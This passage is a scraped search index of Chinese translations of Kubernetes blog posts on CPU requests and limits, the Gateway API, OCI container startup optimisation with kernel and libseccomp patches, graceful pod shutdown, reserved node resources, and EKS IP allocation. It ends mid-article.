vCPU。 当两个容器都尝试使用 100% 的可用 CPU 时会发生什么? 由于 CPU 请求不限制消耗,因此两个容器都将使用所有可用的 CPU。 但是,由于容器 B 的请求与另一个相比增加了一倍,因此最终的 CPU 分配是:容器 1 使用 0.3vCPU,另一个使用 0.6vCPU(双倍数量)。 Requests 适用于: 设置基准(给我至少 X 数量的 CPU)。 设置 pod 之间的关系(这个 pod A 使用的 CPU 是另一个的两倍)。 但不影响硬性限制。 为此,您需要 CPU limits。 设置 CPU limits 时,您定义了 period 周期和 quota 配额。 例如: 周期:100000 微秒 (0.1s)。 配额:10000 微秒 (0.01s)。 我只能每 0.1 秒使用 CPU 0.01 秒。 这也缩写为“100m”。 如果你的容器有硬限制并且想要更多的 CPU,它必须等待下一个周期。 您的进程受到限制。 那么您应该在 Pod 中如何设置 CPU requests 和 limits? 一种简单(但不准确)的方法是将最小的 CPU 单元计算为: REQUEST = NODE_CORES * 1000 / MAX_NUM_PODS_PER_NODE 对于 1 个 vCPU 节点和 10 个 Pod ,最小单元就是 1 * 1000 / 10 = 100Mi。 将最小单位或其乘数分配给您的容器。 例如,如果您不知道 Pod A 需要多少 CPU,但您确定它是 Pod B 的两倍,您可以设置: Request A:1 个单元 Request B:2 个单位 如果容器使用 100% CPU,它们将根据它们的权重 (1:2) 重新分配 CPU。 更好的方法是监控应用程序并得出平均 CPU 利用率。 您可以使用现有的监控基础设施来完成此操作,或者使用 Vertical Pod Autoscaler 来监视并报告平均请求值。 你应该如何设置 limits? 您的应用可能已经有“硬性”限制。(例如单线程的应用即使分配了 2 个核,也最多只使用 1 个核)。 你可以设置:limit = 99th 分位数 + 30–50%。 您应该分析应用程序(或使用 VPA)以获得更详细的答案。 您应该始终设置 CPU requests 吗? 绝对没错。 这是 Kubernetes 中的标准良好实践,可帮助调度器更有效地分配 pod。 您应该始终设置 CPU limits 吗? 这有点争议,但总的来说,我是这么认为的。 你可以进行更深入的了解:https://dnastacio.medium.com/why-you-should-keep-using-cpu-limits-on-kubernetes-60c4e50dfc61 其它的一些相关链接: https://learnk8s.io/setting-cpu-memory-limits-requests https://medium.com/@betz.mark/understanding-resource-limits-in-kubernetes-cpu-time-9eff74d3161b https://nodramadevops.com/2019/10/docker-cpu-resource-limits ","date":"2023-03-31","objectID":"/k8s-cpu-request-limit/:0:0","tags":["Kubernetes"],"title":"在 Kubernetes 中应该如何设置 CPU 的 requests 和 limits","uri":"/k8s-cpu-request-limit/"},{"categories":["Kubernetes"],"content":"Kubernetes Gateway API 介绍","date":"2023-03-28","objectID":"/intro-k8s-gateway-api/","tags":["Kubernetes"],"title":"Kubernetes Gateway API 介绍","uri":"/intro-k8s-gateway-api/"},{"categories":["Kubernetes"],"content":" 文本翻译自: https://medium.com/geekculture/kubernetes-gateway-api-the-intro-you-need-to-read-80965f7acd82 您以前听说过 SIG-NETWORK 的 Kubernetes Gateway API 吗?好吧,可能你们中的大多数人都是第一次遇到这个话题。尽管如此,无论您是第一次听说还是已经以某种方式使用过它,本博客的目的都是为您提供一个基本的和高度的概述来理解这个主题。 从了解对 Kubernetes Gateway API 的需求到探索其用例,本博客旨在为您提供全面的指南,介绍您需要了解的有关 Kubernetes 中服务网络革命性工具的所有信息。 因此,在此博客中,我们将涵盖以下主题: Ingress 资源的约束和限制 四层路由如何暴露服务? Kubernetes SIG-NETWORK 是啥,是什么推动了他们的目标? SIG-NETWORK 开启 Kubernetes Gateway API 项目的原因是什么? 全面了解 Kubernetes Gateway API(第二部分,后续文章会介绍) ","date":"2023-03-28","objectID":"/intro-k8s-gateway-api/:0:0","tags":["Kubernetes"],"title":"Kubernetes Gateway API 介绍","uri":"/intro-k8s-gateway-api/"},{"categories":["Kubernetes"],"content":"Ingress 资源的约束和限制 要了解对 Kubernetes Gateway API 的需求,我们需要了解 ingress 资源,该资源于 2015 年推出,并在 Kubernetes 1.19 中成为了稳定的 API。ingress 资源根据请求 host、path 或两者的组合管理对适当 Kubernetes 服务的外部流量访问。Ingress 资源有助于在同一个负载均衡器下公开多个服务,提供负载均衡、SSL 终止等。 虽然 ingress 资源是第 7 层路由(HTTP、HTTPS)的有效选择,但当它需要为第 4 层流量(TCP、UDP)提供服务时,它就显得不够用了,后者常用于公开诸如数据库、消息代理等服务. ","date":"2023-03-28","objectID":"/intro-k8s-gateway-api/:1:0","tags":["Kubernetes"],"title":"Kubernetes Gateway API 介绍","uri":"/intro-k8s-gateway-api/"},{"categories":["Kubernetes"],"content":"四层路由如何暴露服务? 要为数据库、消息代理等提供 L4 流量,您有多种选择。 一种选择是使用 kubectl port-forward 供开发人员进行内部访问,以保持较低的云成本。 另一种选择是使用 LoadBalancer 类型的服务来对其他服务、开发人员或用户进行外部访问,这是第 4 层路由的简单解决方案。 此外,您可以使用 Kong 或 Istio 等服务网格提供商,它们提供通过单个负载均衡器 IP 地址路由第 4 层和第 7 层流量的功能。 然而,值得注意的是,Istio 和 Kong 等服务网格提供商拥有自己的专有 API,导致在服务第 4 层和第 7 层流量方面缺乏标准化。 ","date":"2023-03-28","objectID":"/intro-k8s-gateway-api/:2:0","tags":["Kubernetes"],"title":"Kubernetes Gateway API 介绍","uri":"/intro-k8s-gateway-api/"},{"categories":["Kubernetes"],"content":"Kubernetes SIG-NETWORK 是什么? SIG-NETWORK 是 Kubernetes 社区中的一个子社区,专注于 Kubernetes 中的网络。SIG-NETWORK 负责开发、维护和支持 Kubernetes 平台的网络相关组件。 SIG-NETWORK 旨在确保 Kubernetes 的网络功能稳健、可扩展,并能够满足各种用例的需求。 ","date":"2023-03-28","objectID":"/intro-k8s-gateway-api/:3:0","tags":["Kubernetes"],"title":"Kubernetes Gateway API 介绍","uri":"/intro-k8s-gateway-api/"},{"categories":["Kubernetes"],"content":"SIG-NETWORK 开启 Kubernetes Gateway API 项目的原因是什么? 目前,Kubernetes 空间中的解决方案提供了自己的网关解决方案和特定的 API,允许它们将第 4 层和第 7 层流量路由到 Kubernetes 服务。 SIG-NETWORK 社区已经启动了 Kubernetes Gateway API,为四层和七层路由流量创建统一的 API 资源和标准。Kubernetes Gateway API 为 Kong 和 Istio 等不同的第三方解决方案提供了一个通用的接口。 虽然该项目目前处于测试版,但该领域的主要参与者已经采用。 Youtube video by kong on API Gateway and demo with their controller Blog from Istio regards API Gateway ","date":"2023-03-28","objectID":"/intro-k8s-gateway-api/:4:0","tags":["Kubernetes"],"title":"Kubernetes Gateway API 介绍","uri":"/intro-k8s-gateway-api/"},{"categories":["Kubernetes"],"content":"结语 总之,Kubernetes Gateway API 正在填补 Kubernetes Ingress 资源留下的标准化空白。尽管处于测试阶段,但它已经得到了 Istio 和 Kong 等知名工具的支持。这证明了 Kubernetes Gateway API 有潜力成为在 Kubernetes 环境中管理网络流量的广泛采用的解决方案。 ","date":"2023-03-28","objectID":"/intro-k8s-gateway-api/:5:0","tags":["Kubernetes"],"title":"Kubernetes Gateway API 介绍","uri":"/intro-k8s-gateway-api/"},{"categories":["Kubernetes"],"content":"提速 30 倍!OCI 容器启动优化的历程","date":"2023-03-28","objectID":"/the-journey-to-speed-up-oci-containers/","tags":["Kubernetes"],"title":"提速 30 倍!OCI 容器启动优化的历程","uri":"/the-journey-to-speed-up-oci-containers/"},{"categories":["Kubernetes"],"content":" 文本翻译自: https://www.scrivano.org/posts/2022-10-21-the-journey-to-speed-up-oci-containers/ 原文作者是 Red Hat 工程师 Giuseppe Scrivano ,其回顾了将 OCI 容器启动的时间提速 30 倍的历程。 当我开始研究 crun (https://github.com/containers/crun) 时,我正在寻找一种通过改进 OCI 运行时来更快地启动和停止容器的方法,OCI 运行时是 OCI 堆栈中负责最终与内核交互并设置容器所在环境的组件。 OCI 运行时的运行时间非常有限,它的工作主要是执行一系列直接映射到 OCI 配置文件的系统调用。 我很惊讶地发现,如此琐碎的任务可能需要花费这么长时间。 免责声明:对于我的测试,我使用了 Fedora 安装中可用的默认内核以及所有库。除了这篇博文中描述的修复之外,这些年来可能还有其他可能影响整体性能的修复。 以下所有用于测试的 crun 版本都是相同的。 对于所有测试,我都使用 hyperfine,它是通过 cargo 安装的。 ","date":"2023-03-28","objectID":"/the-journey-to-speed-up-oci-containers/:0:0","tags":["Kubernetes"],"title":"提速 30 倍!OCI 容器启动优化的历程","uri":"/the-journey-to-speed-up-oci-containers/"},{"categories":["Kubernetes"],"content":"2017年的情况如何 要对比我们与过去相差多大,我们需要回到 2017 年,或者只安装一个旧的 Fedora 映像。对于下面的测试,我使用了基于 Linux 内核 4.5.5 的 Fedora 24。 在新安装的 Fedora 24 上,运行从主分支构建: # hyperfine 'crun run foo' Benchmark 1: 'crun run foo' Time (mean ± σ): 159.2 ms ± 21.8 ms [User: 43.0 ms, System: 16.3 ms] Range (min … max): 73.9 ms … 194.9 ms 39 runs 用户时间和系统时间指的是进程分别在用户态和内核态的耗时。 160 毫秒很多,据我所知,这与我五年前观察到的情况相似。 对 OCI 运行时的分析立即表明,大部分用户时间都花在了 libseccomp 上来编译 seccomp 过滤器。 为了验证这一点,让我们尝试运行一个具有相同配置但没有 seccomp 配置文件的容器: # hyperfine 'crun run foo' Benchmark 1: 'crun run foo' Time (mean ± σ): 139.6 ms ± 20.8 ms [User: 4.1 ms, System: 22.0 ms] Range (min … max): 61.8 ms … 177.0 ms 47 runs 我们使用了之前所需用户时间的 1/10(43 ms -\u003e 4.1 ms),整体时间也有所改善! 所以主要有两个不同的问题:1) 系统时间相当长,2) 用户时间由 libseccomp 控制。我们需要同时解决这两个问题。 现在让我们专注于系统时间,稍后我们将回到 seccomp。 ","date":"2023-03-28","objectID":"/the-journey-to-speed-up-oci-containers/:1:0","tags":["Kubernetes"],"title":"提速 30 倍!OCI 容器启动优化的历程","uri":"/the-journey-to-speed-up-oci-containers/"},{"categories":["Kubernetes"],"content":"系统时间 ","date":"2023-03-28","objectID":"/the-journey-to-speed-up-oci-containers/:2:0","tags":["Kubernetes"],"title":"提速 30 倍!OCI 容器启动优化的历程","uri":"/the-journey-to-speed-up-oci-containers/"},{"categories":["Kubernetes"],"content":"创建和销毁 network 命名空间 创建和销毁网络命名空间曾经非常昂贵,只需使用该 unshare 工具即可重现该问题,在 Fedora 24 上我得到: # hyperfine 'unshare -n true' Benchmark 1: 'unshare -n true' Time (mean ± σ): 47.7 ms ± 51.4 ms [User: 0.6 ms, System: 3.2 ms] Range (min … max): 0.0 ms … 190.5 ms 365 runs 这算是很长的耗时! 我试图在内核中修复它并提出了一个 patch 补丁。Florian Westphal 以更好的方式将其进行了重写,并合并到了 Linux 内核中: commit 8c873e2199700c2de7dbd5eedb9d90d5f109462b Author: Florian Westphal Date: Fri Dec 1 00:21:04 2017 +0100 netfilter: core: free hooks with call_rcu Giuseppe Scrivano says: \"SELinux, if enabled, registers for each new network namespace 6 netfilter hooks.\" Cost for this is high. With synchronize_net() removed: \"The net benefit on an SMP machine with two cores is that creating a new network namespace takes -40% of the original time.\" This patch replaces synchronize_net+kvfree with call_rcu(). We store rcu_head at the tail of a structure that has no fixed layout, i.e. we cannot use offsetof() to compute the start of the original allocation. Thus store this information right after the rcu head. We could simplify this by just placing the rcu_head at the start of struct nf_hook_entries. However, this structure is used in packet processing hotpath, so only place what is needed for that at the beginning of the struct. Reported-by: Giuseppe Scrivano Signed-off-by: Florian Westphal Signed-off-by: Pablo Neira Ayuso commit 26888dfd7e7454686b8d3ea9ba5045d5f236e4d7 Author: Florian Westphal Date: Fri Dec 1 00:21:03 2017 +0100 netfilter: core: remove synchronize_net call if nfqueue is used since commit 960632ece6949b (\"netfilter: convert hook list to an array\") nfqueue no longer stores a pointer to the hook that caused the packet to be queued. Therefore no extra synchronize_net() call is needed after dropping the packets enqueued by the old rule blob. Signed-off-by: Florian Westphal Signed-off-by: Pablo Neira Ayuso commit 4e645b47c4f000a503b9c90163ad905786b9bc1d Author: Florian Westphal Date: Fri Dec 1 00:21:02 2017 +0100 netfilter: core: make nf_unregister_net_hooks simple wrapper again This reverts commit d3ad2c17b4047 (\"netfilter: core: batch nf_unregister_net_hooks synchronize_net calls\"). Nothing wrong with it. However, followup patch will delay freeing of hooks with call_rcu, so all synchronize_net() calls become obsolete and there is no need anymore for this batching. This revert causes a temporary performance degradation when destroying network namespace, but its resolved with the upcoming call_rcu conversion. Signed-off-by: Florian Westphal Signed-off-by: Pablo Neira Ayuso 这些补丁产生了巨大的差异,现在创建和销毁网络命名空间的时间已经下降到了一个难以置信的地步,以下是一个现代 5.19.15 内核的数据: # hyperfine 'unshare -n true' Benchmark 1: 'unshare -n true' Time (mean ± σ): 1.5 ms ± 0.5 ms [User: 0.3 ms, System: 1.3 ms] Range (min … max): 0.8 ms … 6.7 ms 1907 runs ","date":"2023-03-28","objectID":"/the-journey-to-speed-up-oci-containers/:2:1","tags":["Kubernetes"],"title":"提速 30 倍!OCI 容器启动优化的历程","uri":"/the-journey-to-speed-up-oci-containers/"},{"categories":["Kubernetes"],"content":"挂载 mqueue 挂载 mqueue 也是一个相对昂贵的操作。 在 Fedora 24 上,它曾经是这样的: # mkdir /tmp/mqueue; hyperfine 'unshare --propagation=private -m mount -t mqueue mqueue /tmp/mqueue'; rmdir /tmp/mqueue Benchmark 1: 'unshare --propagation=private -m mount -t mqueue mqueue /tmp/mqueue' Time (mean ± σ): 16.8 ms ± 3.1 ms [User: 2.6 ms, System: 5.0 ms] Range (min … max): 9.3 ms … 26.8 ms 261 runs 在这种情况下,我也尝试修复它并提出一个 补丁。它没有被接受,但 Al Viro 想出了一个更好的版本来解决这个问题: commit 36735a6a2b5e042db1af956ce4bcc13f3ff99e21 Author: Al Viro Date: Mon Dec 25 19:43:35 2017 -0500 mqueue: switch to on-demand creation of internal mount Instead of doing that upon each ipcns creation, we do that the first time mq_open(2) or mqueue mount is done in an ipcns. What's more, doing that allows to get rid of mount_ns() use - we can go with considerably cheaper mount_nodev(), avoiding the loop over all mqueue superblock instances; ipcns-\u003emq_mnt is used to locate preexisting instance in O(1) time instead of O(instances) mount_ns() would've cost us. Based upon the version by Giuseppe Scrivano ; I've added handling of userland mqueue mounts (original had been broken in that area) and added a switch to mount_nodev(). Signed-off-by: Al Viro 在这个补丁之后,创建 mqueue 挂载的成本也下降了: # mkdir /tmp/mqueue; hyperfine 'unshare --propagation=private -m mount -t mqueue mqueue /tmp/mqueue'; rmdir /tmp/mqueue Benchmark 1: 'unshare --propagation=private -m mount -t mqueue mqueue /tmp/mqueue' Time (mean ± σ): 0.7 ms ± 0.5 ms [User: 0.5 ms, System: 0.6 ms] Range (min … max): 0.0 ms … 3.1 ms 772 runs ","date":"2023-03-28","objectID":"/the-journey-to-speed-up-oci-containers/:2:2","tags":["Kubernetes"],"title":"提速 30 倍!OCI 容器启动优化的历程","uri":"/the-journey-to-speed-up-oci-containers/"},{"categories":["Kubernetes"],"content":"创建和销毁 IPC 命名空间 我将加速容器启动时间的事推迟了几年,并在 2020 年初重新开始。我意识到的另一个问题是创建和销毁 IPC 命名空间的时间。 与网络命名空间一样,仅使用以下 unshare 工具即可重现该问题: # hyperfine 'unshare -i true' Benchmark 1: 'unshare -i true' Time (mean ± σ): 10.9 ms ± 2.1 ms [User: 0.5 ms, System: 1.0 ms] Range (min … max): 4.2 ms … 17.2 ms 310 runs 与前两次尝试不同,这次我发送的补丁被上游接受了: commit e1eb26fa62d04ec0955432be1aa8722a97cb52e7 Author: Giuseppe Scrivano Date: Sun Jun 7 21:40:10 2020 -0700 ipc/namespace.c: use a work queue to free_ipc the reason is to avoid a delay caused by the synchronize_rcu() call in kern_umount() when the mqueue mount is freed. the code: #define _GNU_SOURCE #include #include #include #include int main() { int i; for (i = 0; i \u003c 1000; i++) if (unshare(CLONE_NEWIPC) \u003c 0) error(EXIT_FAILURE, errno, \"unshare\"); } goes from Command being timed: \"./ipc-namespace\" User time (seconds): 0.00 System time (seconds): 0.06 Percent of CPU this job got: 0% Elapsed (wall clock) time (h:mm:ss or m:ss): 0:08.05 to Command being timed: \"./ipc-namespace\" User time (seconds): 0.00 System time (seconds): 0.02 Percent of CPU this job got: 96% Elapsed (wall clock) time (h:mm:ss or m:ss): 0:00.03 Signed-off-by: Giuseppe Scrivano Signed-off-by: Andrew Morton Reviewed-by: Paul E. McKenney Reviewed-by: Waiman Long Cc: Davidlohr Bueso Cc: Manfred Spraul Link: http://lkml.kernel.org/r/20200225145419.527994-1-gscrivan@redhat.com Signed-off-by: Linus Torvalds 有了这个补丁,创建和销毁 IPC 的时间也大大减少了,正如提交消息中所概述的那样,在我现在得到的现代 5.19.15 内核上: # hyperfine 'unshare -i true' Benchmark 1: 'unshare -i true' Time (mean ± σ): 0.1 ms ± 0.2 ms [User: 0.2 ms, System: 0.4 ms] Range (min … max): 0.0 ms … 1.5 ms 1966 runs ","date":"2023-03-28","objectID":"/the-journey-to-speed-up-oci-containers/:2:3","tags":["Kubernetes"],"title":"提速 30 倍!OCI 容器启动优化的历程","uri":"/the-journey-to-speed-up-oci-containers/"},{"categories":["Kubernetes"],"content":"用户时间 内核态时间现在似乎已得到控制。我们可以做些什么来减少用户时间? 正如我们之前已经发现的,libseccomp 是这里的罪魁祸首,因此我们需要首先解决它,这发生在内核中对 IPC 的修复之后。 libseccomp 的大部分成本都是由系统调用查找代码引起的。OCI 配置文件包含一个按名称列出系统调用的列表,每个系统调用通过 seccomp_syscall_resolve_name 函数调用进行查找,该函数返回给定系统调用名称的系统调用编号。 libseccomp 用于通过系统调用表对每个系统调用名称执行线性搜索,例如,对于 x86_64,它看起来像这样: /* NOTE: based on Linux v5.4-rc4 */ const struct arch_syscall_def x86_64_syscall_table[] = { \\ { \"_llseek\", __PNR__llseek }, { \"_newselect\", __PNR__newselect }, { \"_sysctl\", 156 }, { \"accept\", 43 }, { \"accept4\", 288 }, { \"access\", 21 }, { \"acct\", 163 }, ..... }; int x86_64_syscall_resolve_name(const char *name) { unsigned int iter; const struct arch_syscall_def *table = x86_64_syscall_table; /* XXX - plenty of room for future improvement here */ for (iter = 0; table[iter].name != NULL; iter++) { if (strcmp(name, table[iter].name) == 0) return table[iter].num; } return __NR_SCMP_ERROR; } 通过 libseccomp 构建 seccomp 配置文件的复杂度为 O(n*m),其中 n 是配置文件中的系统调用数量,m 是 libseccomp 已知的系统调用数量。 我遵循了代码注释中的建议,并花了一些时间尝试修复它。2020 年 1 月,我为 libseccomp 开发了一个 补丁,以使用完美的哈希函数查找系统调用名称来解决这个问题。 libseccomp 的补丁是这个: commit 9b129c41ac1f43d373742697aa2faf6040b9dfab Author: Giuseppe Scrivano Date: Thu Jan 23 17:01:39 2020 +0100 arch: use gperf to generate a perfact hash to lookup syscall names This patch significantly improves the performance of seccomp_syscall_resolve_name since it replaces the expensive strcmp for each syscall in the database, with a lookup table. The complexity for syscall_resolve_num is not changed and it uses the linear search, that is anyway less expensive than seccomp_syscall_resolve_name as it uses an index for comparison instead of doing a string comparison. On my machine, calling 1000 seccomp_syscall_resolve_name_arch and seccomp_syscall_resolve_num_arch over the entire syscalls DB passed from ~0.45 sec to ~0.06s. PM: After talking with Giuseppe I made a number of additional changes, some substantial, the highlights include: * various style tweaks * .gitignore fixes * fixed subject line, tweaked the description * dropped the arch-syscall-validate changes as they were masking other problems * extracted the syscalls.csv and file deletions to other patches to keep this one more focused * fixed the x86, x32, arm, all the MIPS ABIs, s390, and s390x ABIs as the syscall offsets were not properly incorporated into this change * cleaned up the ABI specific headers * cleaned up generate_syscalls_perf.sh and renamed to arch-gperf-generate * fixed problems with automake's file packaging Signed-off-by: Giuseppe Scrivano Reviewed-by: Tom Hromatka [PM: see notes in the \"PM\" section above] Signed-off-by: Paul Moore 该补丁已合并并发布,现在构建 seccomp 配置文件的复杂度为 O(n),其中 n 是配置文件中系统调用的数量。 改进是显着的,在足够新的 libseccomp 下: # hyperfine 'crun run foo' Benchmark 1: 'crun run foo' Time (mean ± σ): 28.9 ms ± 5.9 ms [User: 16.7 ms, System: 4.5 ms] Range (min … max): 19.1 ms … 41.6 ms 73 runs 用户时间仅为 16.7ms。以前是 40ms 以上,完全不用 seccomp 的时候是 4ms 左右。 所以使用 4.1ms 作为没有 seccomp 的用户时间成本,我们有: time_used_by_seccomp_before = 43.0ms - 4.1ms = 38.9ms time_used_by_seccomp_after = 16.7ms - 4.1ms = 12.6ms 快 3 倍以上!系统调用查找只是 libseccomp 所做工作的一部分,另外相当多的时间用于编译 BPF 过滤器。 ","date":"2023-03-28","objectID":"/the-journey-to-speed-up-oci-containers/:3:0","tags":["Kubernetes"],"title":"提速 30 倍!OCI 容器启动优化的历程","uri":"/the-journey-to-speed-up-oci-containers/"},{"categories":["Kubernetes"],"content":"BPF 过滤器编译 我们还能做得更好吗? BPF 过滤器编译由 seccomp_export_bpf 函数完成,它仍然相当昂贵。 一个简单的观察是,大多数容器一遍又一遍地重复使用相同的 seccomp 配置文件,很少进行自定义。 因此缓存编译结果并在可能的情况下重用它是有意义的。 有一个新的运行特性 来缓存 BPF 过滤器编译的结果。在撰写本文时,该补丁尚未合并,尽管它快要完成了。 有了这个,只有当生成的 BPF 过滤器不在缓存中时,编译 seccomp 配置文件的成本才会被支付,这就是我们现在所拥有的: # hyperfine 'crun-from-the-future run foo' Benchmark 1: 'crun-from-the-future run foo' Time (mean ± σ): 5.6 ms ± 3.0 ms [User: 1.0 ms, System: 4.5 ms] Range (min … max): 4.2 ms … 26.8 ms 101 runs ","date":"2023-03-28","objectID":"/the-journey-to-speed-up-oci-containers/:4:0","tags":["Kubernetes"],"title":"提速 30 倍!OCI 容器启动优化的历程","uri":"/the-journey-to-speed-up-oci-containers/"},{"categories":["Kubernetes"],"content":"结论 五年多来,创建和销毁 OCI 容器所需的总时间已从将近 160 毫秒加速到略多于 5 毫秒。 这几乎是 30 倍的改进! ","date":"2023-03-28","objectID":"/the-journey-to-speed-up-oci-containers/:5:0","tags":["Kubernetes"],"title":"提速 30 倍!OCI 容器启动优化的历程","uri":"/the-journey-to-speed-up-oci-containers/"},{"categories":["Kubernetes"],"content":"Kubernetes 优雅终止 pod","date":"2023-03-25","objectID":"/gracefully-shut-down/","tags":["Kubernetes"],"title":"Kubernetes 优雅终止 pod","uri":"/gracefully-shut-down/"},{"categories":["Kubernetes"],"content":" 文本翻译自: https://itnext.io/how-do-you-gracefully-shut-down-pods-in-kubernetes-fb19f617cd67 当你执行 kubectl delete pod 时,pod 被删除, endpoint 控制器从 service 和 etcd 中删除该 pod 的 IP 地址和端口。 你可以使用 kubectl describe service 观察到这一点。 但远不止如此! 多个组件都会同步变更至本地 endpoint 列表: kube-proxy 通过本地 endpoint 列表来编写 iptables 规则 CoreDNS 使用 endpoint 重新配置 DNS Ingress 控制器、Istio 等也是如此。 所有这些组件都将(最终)删除以前的 endpoint,这样就再也没有流量可以到达它了。 同时,kubelet 也收到了变化的通知,并删除了 pod。 当 kubelet 在其余组件之前删除 pod 时会发生什么? 不幸的是,你会遇到停机, 因为 kube-proxy、CoreDNS、ingress 控制器等组件仍在使用该 IP 地址来路由流量。 所以,你可以做什么? 等待! 如果在删除 Pod 之前等待足够长的时间,飞行中的流量仍然可以解析,并且可以将新流量分配给其他 Pod。 你应该如何等待? 当 kubelet 删除一个 pod 时,它会经历以下步骤: 触发 preStop 钩子(如果有)。 发送 SIGTERM。 发送 SIGKILL 信号(默认 30 秒后)。 你可以使用preStop挂钩来插入人工延迟。 你可以在你的应用程序中监听 SIGTERM 信号并等待。 此外,你可以优雅地停止该过程并在等待完成后退出。 Kubernetes 给你 30 秒的时间来这样做(时长可配置)。 你应该等待 10 秒、20 秒还是 30 秒? 没有单一的答案。 虽然传播 endpoint 可能只需要几秒钟,但 Kubernetes 不保证任何时间,也不保证所有组件将同时完成。 如果你想探索更多,这里有一些链接: https://learnk8s.io/graceful-shutdown https://freecontent.manning.com/handling-client-requests-properly-with-kubernetes/ https://kubernetes.io/docs/concepts/workloads/pods/pod/#termination-of-pods https://medium.com/tailwinds-navigator/kubernetes-tip-how-to-gracefully-handle-pod-deletion-b28d23644ccc https://medium.com/flant-com/kubernetes-graceful-shutdown-nginx-php-fpm-d5ab266963c2 https://www.openshift.com/blog/kubernetes-pods-life ","date":"2023-03-25","objectID":"/gracefully-shut-down/:0:0","tags":["Kubernetes"],"title":"Kubernetes 优雅终止 pod","uri":"/gracefully-shut-down/"},{"categories":["Kubernetes"],"content":"Kubernetes 节点的预留资源","date":"2023-03-25","objectID":"/reserved-cpu-memory-in-nodes/","tags":["Kubernetes"],"title":"Kubernetes 节点的预留资源","uri":"/reserved-cpu-memory-in-nodes/"},{"categories":["Kubernetes"],"content":" 文本翻译自: https://medium.com/@danielepolencic/reserved-cpu-and-memory-in-kubernetes-nodes-65aee1946afd 在 Kubernetes 中,运行多个集群节点是否存在隐形成本? 是的,因为并非 Kubernetes 节点中的所有 CPU 和内存都可用于运行 Pod。 在一个 Kubernetes 节点中,CPU 和内存分为: 操作系统 Kubelet、CNI、CRI、CSI(+ 系统 daemons) Pods 驱逐阈值 这些预留的资源取决于实例的大小,并且可能会增加相当大的开销。 让我们举一个简单的例子。 想象一下,你有一个具有单个 1GiB / 1vCPU 节点的集群。 以下资源是为 kubelet 和操作系统保留的: 255MiB 内存。 60m 的 CPU。 最重要的是,为驱逐阈值预留了 100MB。 那么总共有 25% 的内存和 6% 的 CPU 不能使用。 在云厂商中的情况又是如何? EKS 有一些(有趣的?)限制。 让我们选择一个具有 2vCPU 和 8GiB 内存的 m5.large 实例。 AWS 为 kubelet 和操作系统保留了以下内容: 574MiB 内存。 70m 的 CPU。 这一次,你很幸运。 你可以使用大约 93% 的可用内存。 但这些数字从何而来? 每个云厂商都有自己定义限制的方式,但对于 CPU,他们似乎都同意以下值: 第一个核心的 6%。 下一个核心的 1%(最多 2 个核心)。 接下来 2 个核心的 0.5%(最多 4 个核心)。 四核以上任何核的 0.25%。 至于内存限制,云厂商之间差异很大。 Azure 是最保守的,而 AWS 则是最不保守的。 Azure 中 kubelet 的预留内存为: 前 4 GB 内存的 25%。 4 GB 以下内存的 20%(最大 8 GB)。 8 GB 以下内存的 10%(最大 16 GB)。 下一个 112 GB 内存的 6%(最多 128 GB)。 超过 128 GB 的任何内存的 2%。 这对于 GKE 是相同的,除了一个值:逐出阈值在 GKE 中为 100MB,在 AKS 中为 750MiB。 在 EKS 中,使用以下公式分配内存: 255MiB + (11MiB * MAX_NUMBER OF POD) 不过,这个公式提出了一些问题。 在前面的示例中,m5.large 保留了 574MiB 的内存。 这是否意味着 VM 最多可以有 (574–255) / 11 = 29 个 pod? 如果你没有在 VPC-CNI 中启用 prefix 前缀分配模式,这是正确的。 如果这样做,结果将大不相同。 对于多达 110 个 pod,AWS 保留: 1.4GiB 内存。 (仍然)70m 的 CPU。 这听起来更合理,并且与其他云厂商一致。 让我们看看 GKE 进行比较。 对于类似的实例类型(即 n1-standard-2,7.5GB 内存,2vCPU),kubelet 的预留如下: 1.7GB 内存。 70m 的 CPU。 换句话说,23% 的实例内存无法分配给运行的 Pod。 如果实例每月花费 48.54 美元,那么你将花费 11.16 美元来运行 kubelet。 其他云厂商呢? 你如何检查这些值? 我们构建了一个简单的工具来检查 kubelet 的配置并提取相关细节。 你可以在这里找到它:https://github.com/learnk8s/kubernetes-resource-inspector 如果你有兴趣探索更多关于节点大小的信息,我们还构建了一个简单的实例计算器,你可以在其中定义工作负载的大小,它会显示适合该大小的所有实例(及其价格)。 https://learnk8s.io/kubernetes-instance-calculator 我希望你喜欢这篇关于 Kubernetes 资源预留的短文;在这里,你可以找到更多链接以进一步探索该主题。 Kubernetes instance calculator。 Allocatable memory and CPU in Kubernetes Nodes Allocatable memory and CPU resources on GKE AWS EKS AMI reserved CPU and reserved memory AKS resource reservations 官方文档 https://kubernetes.io/docs/tasks/administer-cluster/reserve-compute-resources/ Enabling prefix assignment in EKS and VPC CNI ","date":"2023-03-25","objectID":"/reserved-cpu-memory-in-nodes/:0:0","tags":["Kubernetes"],"title":"Kubernetes 节点的预留资源","uri":"/reserved-cpu-memory-in-nodes/"},{"categories":["Kubernetes"],"content":"EKS 集群中的 IP 地址分配问题","date":"2023-03-23","objectID":"/ip-and-pod-allocations-in-eks/","tags":["Kubernetes"],"title":"EKS 集群中的 IP 地址分配问题","uri":"/ip-and-pod-allocations-in-eks/"},{"categories":["Kubernetes"],"content":" 文本翻译自: https://itnext.io/ip-and-pod-allocations-in-eks-5be6612b8325 运行 EKS 集群时,你可能会遇到两个问题: 分配给 pod 的 IP 地址用完了。 每个节点的 pod 数量少(由于 ENI 限制)。 在本文中,你将学习如何克服这些问题。 在我们开始之前,这里有一些关于节点内网络如何在 Kubernetes 中工作的背景知识。 创建节点时,kubelet 委托: 创建容器到容器运行时。 将容器连接到 CNI 的网络。 将卷安装到 CSI。 让我们关注 CNI 部分。 每个 pod 都有自己独立的 Linux 网络命名空间,并连接到一个网桥。 CNI 负责创建网桥、分配 IP 并将 veth0 连接到 cni0。 这通常会发生,但不同的 CNI 可能会使用其他方式将容器连接到网络。 例如,可能没有 cni0 网桥。 AWS-CNI 是此类 CNI 的一个示例。 在 AWS 中,每个 EC2 实例都可以有多个网络接口 (ENI)。 你可以为每个 ENI 分配有限数量的 IP。 例如,一个 m5.large 实例可以为 ENI 分配最多 10 个 IP。 在这 10 个 IP 中,你必须将一个分配给网络接口。 剩下的你可以不用管。 以前,你可以使用额外的 IP 并将它们分配给 Pod。 但是有一个很大的限制:IP 地址的数量。 让我们看一个例子。 使用 m5.large 实例,你最多有 3 个 ENI,每个有 10 个 IP 私有地址。 由于保留了一个 IP,每个 ENI 还剩下 9 个(总共 27 个)。 这意味着你的 m5.large 实例最多可以运行 27 个 Pod。 这不是很多。 但是 AWS 发布了对 EC2 的更改,允许将“地址前缀”分配给网络接口。 地址前缀是什么?! 简而言之,ENI 